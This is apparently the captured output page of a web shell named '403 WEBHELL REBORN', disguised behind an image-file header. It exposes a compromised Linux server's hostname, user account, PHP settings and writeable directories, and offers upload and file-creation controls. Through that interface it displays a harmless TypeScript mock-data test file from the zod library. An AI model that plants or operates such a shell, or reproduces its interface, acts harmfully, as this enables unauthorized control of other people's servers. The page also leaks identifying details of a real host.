ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/www/node_services/apimetaexamepopular/node_modules/zod/src/v3/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : //var/www/node_services/apimetaexamepopular/node_modules/zod/src/v3/tests/Mocker.ts
function getRandomInt(max: number) {
  return Math.floor(Math.random() * Math.floor(max));
}

const testSymbol = Symbol("test");

export class Mocker {
  pick = (...args: any[]): any => {
    return args[getRandomInt(args.length)];
  };

  get string(): string {
    return Math.random().toString(36).substring(7);
  }
  get number(): number {
    return Math.random() * 100;
  }
  get bigint(): bigint {
    return BigInt(Math.floor(Math.random() * 10000));
  }
  get boolean(): boolean {
    return Math.random() < 0.5;
  }
  get date(): Date {
    return new Date(Math.floor(Date.now() * Math.random()));
  }
  get symbol(): symbol {
    return testSymbol;
  }
  get null(): null {
    return null;
  }
  get undefined(): undefined {
    return undefined;
  }
  get stringOptional(): string | undefined {
    return this.pick(this.string, this.undefined);
  }
  get stringNullable(): string | null {
    return this.pick(this.string, this.null);
  }
  get numberOptional(): number | undefined {
    return this.pick(this.number, this.undefined);
  }
  get numberNullable(): number | null {
    return this.pick(this.number, this.null);
  }
  get booleanOptional(): boolean | undefined {
    return this.pick(this.boolean, this.undefined);
  }
  get booleanNullable(): boolean | null {
    return this.pick(this.boolean, this.null);
  }
}

Anon7 - 2021